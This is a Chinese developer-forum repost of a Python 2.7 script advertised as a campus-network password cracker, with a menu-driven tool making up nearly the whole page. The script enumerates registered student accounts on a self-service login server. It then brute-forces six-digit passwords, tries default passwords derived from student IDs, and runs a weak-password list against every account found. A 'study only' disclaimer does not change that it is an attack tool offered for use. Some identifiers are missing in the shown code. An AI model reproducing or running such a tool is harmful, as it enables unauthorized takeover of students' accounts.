校园网密码破解程序-阿里云开发者社区

开发者社区> 安全> 正文
登录阅读全文

校园网密码破解程序

简介:

环境:Python 2.7

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
#!/usr/bin/env python
#coding=utf8
print "+"*50
print u"功能:简单破解校园网账号"
print u"微信公众号:电脑趣事"
print u"仅供学习交流使用,严禁违法犯罪,否则后果自负"
print "+"*50
 
import httplib
import urllib
import re
 
 
username=[]
httpClient = None
If_password =[000000,123456,123123,456456,789789,110110,110120,111111,222222,333333,444444,555555,666666,777777,888888,999999,5201314]
 
def Determine():
    nj = int(raw_input("please select a class 15,16,17:").strip())
    start =int(raw_input("please input start(Prompt:1234):").strip())
    end = int(raw_input("please input end(Prompt:5678):").strip())
     
    if (end <=start or (nj != 15 and nj != 16 and nj!=17)):
        print u"输入有误,请重新选择"
        print '='*50
        menu()
        exit()
    else:
        print "please wait a moment "
 
    #构造学号
    for in range(start,end):
        for in range(0,100):
            key_numer = int(str(nj)+str(i).zfill(4)+str(j).zfill(3))
             
            try:
                params = urllib.urlencode({'key': key_numer})
                headers = {"Content-type""application/x-www-form-urlencoded","Accept""text/plain"}
                httpClient = httplib.HTTPConnection("10.54.100.1"8080, timeout=30)
                httpClient.request("POST""/selfservice/module/userself/web/userself_reg_ajax.jsf?methodName=regUserinfoBean.checkUser", params, headers)
                response = httpClient.getresponse()
                right_or_wrong = response.read()
                #正则和判断
                zhengze = re.findall( r'false',right_or_wrong , re.M|re.I)
                if len(zhengze) == 1:
                    username.append(key_numer)
                 
            except Exception, e:
                print e
            finally:
                if httpClient:
                    httpClient.close()
    print "."*50
    print u"在这个范围内已开通的账号有:"
    print ""
    print username
    print "."*50
    return username
 
def Connect(UserName,PassWord):
    global a
    try:
        params = urllib.urlencode({'name': UserName,'password':PassWord})
        headers = {"Content-type""application/x-www-form-urlencoded","Accept""text/plain"}
        httpClient = httplib.HTTPConnection("10.54.100.1"8080, timeout=30)
        httpClient.request("POST""/selfservice/module/scgroup/web/login_judge.jsf", params, headers)
        response = httpClient.getresponse()
        right_or_wrong = response.read()
 
        pipei = re.findall(r'errorMsg', right_or_wrong, re.M|re.I)
        if len(pipei)==1:
            = 0 #判断是否爆破出来的标记
            pass
        else:
            print u"账号:%s\000\000密码:%s"%(UserName,PassWord)
            = 1
             
    except Exception, e:
        print e
    finally:
        if httpClient:
            httpClient.close()
    return a
 
def yanzheng():
    UserName = str(raw_input("please select a username input:").strip())
    for in range(0,1000000):
        PassWord = str(i).zfill(6)
        Connect(UserName,PassWord)
        if == 1:
            break
        else:
            pass
 
def Default_password_single():
    UserName = str(raw_input("please select a username input:").strip())
    PassWord = UserName[3:10]
    Connect(UserName,PassWord)
    if ==0:
        PassWord = '123456'
        Connect(UserName,PassWord)
        if a==0:
            print u"已经查找完成"
 
def Default_password_not_single():
    print "please wait a moment"
    for in range(0,len(username)):
        UserName = str(username[i])
        PassWord = UserName[3:10]
        Connect(UserName,PassWord)
        if ==0:
            PassWord = '123456'
            Connect(UserName,PassWord)
            if (i==len(username)-1 and == 0):
                print u"已经查找完成"
 
def if_password():
    print "please wait a moment"
    for in range(0,len(username)):
        UserName = str(username[i])  
        for in range(0,len(If_password)):
            PassWord = If_password[j]
            Connect(UserName,PassWord)
            if (i==len(username)-1 and j==len(If_password)-1 and == 0):
                print u"已经查找完毕"           
 
 
 
def menu():
    print u"欢迎大家关注微信公众号:“电脑趣事”,请选择菜单"
    while True:
        print "*"*50
        print u"\t(1) 查看已经注册的账号"
        print u"\t(2) 简单的爆破"
        print u"\t(3) 默认密码单个查询"
        print u"\t(4) 默认密码批量查询"
        print u"\t(5) 弱口令爆破"
        print "*"*50
        choices = raw_input("Please choices:").strip()
        if len(choices) == 0:
            continue
        if choices == '1':
            Determine()
        elif choices == '2':
            yanzheng()
        elif choices == '3':
            Default_password_single()
        elif choices == '4':
            Default_password_not_single()
        elif choices == '5':
            if_password()
        else:
            print u"请注意账号安全!"
            exit()
 
 
if __name__ == '__main__':
    menu()
    







微信公众号

wKioL1nnZnCRPP2MAAAhInXKMzc013.jpg


本文转自 天道酬勤VIP 51CTO博客,原文链接:http://blog.51cto.com/tdcqvip/1973967


版权声明:本文内容由阿里云实名注册用户自发贡献,版权归原作者所有,阿里云开发者社区不拥有其著作权,亦不承担相应法律责任。具体规则请查看《阿里云开发者社区用户服务协议》和《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容,填写侵权投诉表单进行举报,一经查实,本社区将立刻删除涉嫌侵权内容。

分享: